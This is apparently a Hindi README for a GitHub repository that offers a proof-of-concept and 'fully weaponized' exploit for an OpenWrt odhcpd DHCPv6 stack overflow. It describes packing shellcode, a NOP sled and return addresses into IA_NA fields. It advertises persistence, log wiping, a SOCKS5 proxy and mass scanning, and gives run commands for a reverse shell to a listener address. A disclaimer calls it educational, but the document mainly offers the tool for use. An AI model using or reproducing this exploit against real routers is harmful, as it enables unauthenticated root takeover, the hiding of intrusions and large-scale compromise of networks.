
CVE-2026-53921 – odhcpd स्टैक ओवरफ्लो (CVSS 9.8) 🛡️ OpenWrt DHCPv6 RCE के लिए विस्तृत और व्यापक राइट-अप और वेरिफायर और मल्टी-एक्सप्लॉइट। MIPS/ARM शेलकोड, ROP चेन, SOCKS5 प्रॉक्सी, पर्सिस्टेंस, लॉग वाइपिंग और मास स्कैनिंग के साथ डुअल-वेक्टर (IA_NA/IA_PD) ओवरफ्लो। नैतिक रूप से उपयोग करें, कानूनी रहें। 🔒

⚠️ केवल शैक्षिक और अधिकृत परीक्षण के लिए। अनधिकृत उपयोग अवैध है।
CVE-2026-53921 OpenWrt के odhcpd डेमॉन में एक गंभीर स्टैक बफर ओवरफ्लो है – जो डिफ़ॉल्ट DHCPv6/DHCPv4/RA सर्वर है।
यह भेद्यता odhcpd के DHCPv6 संदेश प्रबंधन कोड में मौजूद है,
विशेष रूप से build_ia() और dhcpv6_ia_handle_IAs() फ़ंक्शनों में।
यह बग DHCPv6 रिप्लाई पैकेटों के serialization (पैकिंग) के दौरान होता है। जब odhcpd क्लाइंट अनुरोधों का जवाब देता है, तो यह उत्तर को 512 बाइट्स के निश्चित आकार के स्टैक बफर में बिना उचित बाउंड्स जाँच के तैयार करता है।
// Simplified representation of the vulnerable code
static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
// ❌ No bounds check before writing
memcpy(buf + *len, ia->data, ia->length);
*len += ia->length;
}
एक हमलावर DHCPv6 Request (या Solicit) भेजता है जिसमें:
प्रत्येक विकल्प स्टैक स्थान का उपभोग करता है जब odhcpd अपना रिप्लाई बनाता है। संचित डेटा 512 बाइट्स से अधिक हो जाता है, जिससे ओवरफ्लो होता है।
वेक्टर ट्रिगर ओवरफ्लो बिंदु
साइट 1 5 IA_NA विकल्प build_ia() for IA_NA
IPv6 पतों के साथ
build_ia() for IA_PDमूल कारण समान है, लेकिन ओवरफ्लो अलग-अलग कोड पथों में होता है, जिससे दोनों वेक्टर समान रूप से शोषण योग्य बन जाते हैं।
Stack Layout (simplified):
+-------------------+ <-- High addresses
| Return Address | ← Overwritten with attacker-controlled value
+-------------------+
| Saved Frame Ptr |
+-------------------+
| Local Variables | ← 512-byte buffer
+-------------------+ <-- Low addresses
आवश्यकता विवरण
नेटवर्क एक्सेस हमलावर के पास लक्ष्य तक IPv6 कनेक्टिविटी होनी चाहिए
प्रमाणीकरण कोई नहीं -- बिना प्रमाणीकरण वाला हमला
विशेषाधिकार odhcpd रूट के रूप में चलता है, इसलिए RCE पूर्ण सिस्टम नियंत्रण प्रदान करता है
एक वास्तविक एक्सप्लॉइट में, हमलावर का शेलकोड IAAddress IPv6 पता फ़ील्ड्स (प्रति IA_NA 16 बाइट्स) में रखा जाता है। क्राफ्ट किए गए पैकेट शेलकोड, NOP sled और रिटर्न एड्रेस को इन फ़ील्ड्स में पैक करते हैं।
Crafted IA_NA Structure:
+-------------------+
| IA_NA Header | (12 bytes)
+-------------------+
| IAAddress 1 | ← NOP sled + shellcode
+-------------------+
| IAAddress 2 | ← NOP sled + shellcode
+-------------------+
| IAAddress 3 | ← NOP sled + shellcode
+-------------------+
| IAAddress 4 | ← Return address
+-------------------+
| IAAddress 5 | ← Return address
+-------------------+
Crafted DHCPv6 Request
↓
odhcpd processes IA_NA/IA_PD options
↓
512-byte stack buffer overflows
↓
Return address overwritten
↓
CPU jumps to shellcode
↓
Reverse shell / Bind shell / RCE
↓
Full system compromise (root privileges)
संस्करण स्थिति RCE संभव?
odhcpd < e432dd6 असुरक्षित ✅ हाँ OpenWrt < 24.10.8 असुरक्षित ✅ हाँ OpenWrt < 25.12.5 असुरक्षित ✅ हाँ OpenWrt 24.10.8+ पैच किया गया ❌ नहीं OpenWrt 25.12.5+ पैच किया गया ❌ नहीं odhcpd master + e432dd6 पैच किया गया ❌ नहीं
यह भेद्यता विशेष रूप से खतरनाक है क्योंकि:
odhcpd डिफ़ॉल्ट रूप से सक्षम है।| घटक | असुरक्षित संस्करण | इसमें ठीक किया गया |
|---|---|---|
odhcpd (master branch) | कमिट e432dd6 से पहले | e432dd6 या बाद का |
| OpenWrt रिलीज़ | < 24.10.8 < 25.12.5 | 24.10.8 & 25.12.5 |
यह रिपॉज़िटरी दो स्वतंत्र स्क्रिप्ट प्रदान करता है:
| स्क्रिप्ट | उद्देश्य | एक्सप्लॉइट कोड | सुरक्षा |
|---|---|---|---|
verifier.py | गैर-आक्रामक भेद्यता जाँच | ❌ नहीं | ✅ सुरक्षित |
exploit.py | पूर्ण सशस्त्र एक्सप्लॉइट | ✅ हाँ | ⚠️ खतरनाक |
verifier.py – भेद्यता जाँचकर्ताexploit.py – पूर्ण एक्सप्लॉइटIA_NA (साइट1) और IA_PD (साइट2)।git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#Note: Both scripts need root privileges to craft raw IPv6 packets.
sudo python3 verifier.py -u fe80::1%eth0 -i eth0
sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444
verifier.py| तर्क | विवरण |
|---|---|
-u, --target | लक्ष्य IPv6 पता (आवश्यक) |
-i, --iface | नेटवर्क इंटरफ़ेस (डिफ़ॉल्ट: eth0) |
exploit.py